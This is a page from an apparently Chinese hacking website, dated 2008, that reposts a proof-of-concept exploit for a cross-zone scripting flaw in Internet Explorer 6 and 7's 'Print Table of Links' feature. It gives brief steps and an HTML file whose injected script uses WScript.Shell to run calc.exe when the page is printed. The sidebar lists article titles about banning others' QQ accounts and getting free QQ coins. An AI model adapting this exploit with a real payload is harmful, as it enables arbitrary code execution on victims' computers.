首 页 ┆ 文章中心 ┆ 黑客工具 ┆ 黑吧学院 ┆ 技术论坛 ┆ 安全培训 ┆ 免费频道 ┆ 最近更新 ┆ 瑞星在线杀毒
┆ 黑吧百度 ┆ 繁體中文
设为首页
加入收藏
发布教程

 

您当前的位置：-黑客动画吧 -> 文章中心 -> 入侵检测 -> 编程代码 -> 文章内容 退出登录 用户管理
分类导航
热门文章
· 如何封别人QQ
· 充QQ币的疯狂——宽...
· 免费得QB
· 400秒远程攻破你的Q...
· [图文] QQ免费建400个群
· [组图] 给你一台永远不关机...
· [注意] QQ宠物砸蛋秘诀
· 再次有机会免费获得...
· 想的挂QQvip的进
· 在QQ中将自己从对方...
相关文章
· 开机吓人的程...
· 微软GDI+图片...
· 从实战角度讨...
· 对抗启发式代...
· 黑客攻防：网...
· 合理配置服务...
· 黑客最喜欢的...
· 识别常见Web漏...
IE 0day for IE6 and IE7
作者：佚名  来源：Friddy's罐子  发布时间：2008-9-22 0:44:06  发布人：noangel

减小字体 增大字体

【收藏到ViVi】【收藏到YouNote】【收藏此页到365Key】【 收藏此页到bbmao】

这个漏洞是由于微软IE浏览器启动“Print Table of Links”时引起的跨站攻击（Cross-Zone Scripting ）

如果启用了 "Print Table of Links"，在打印一个网页的时候，能够导致执行任意代码。

　　1.选择“Print Table of Links”选项

2.把保存以下代码为HTML格式，用IE打开，并打印，会执行calc.exe。

<html>
<body>
Print me with table of links to execute calc.exe
<a href="http://www.bla.com?x=b<script defer >var x=new ActiveXObject('WScript.Shell');x.Run('calc.exe');</script>a.c<u>o</u>m"></a>
<script>window.print();</script>
</body>
</html>
[] [返回上一页] [打 印] [收 藏]
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 网站地图 - 发布教程

Copyright © 2002-2005 Hack58.Com. All Rights Reserved .

备案编号:粤ICP备05008775号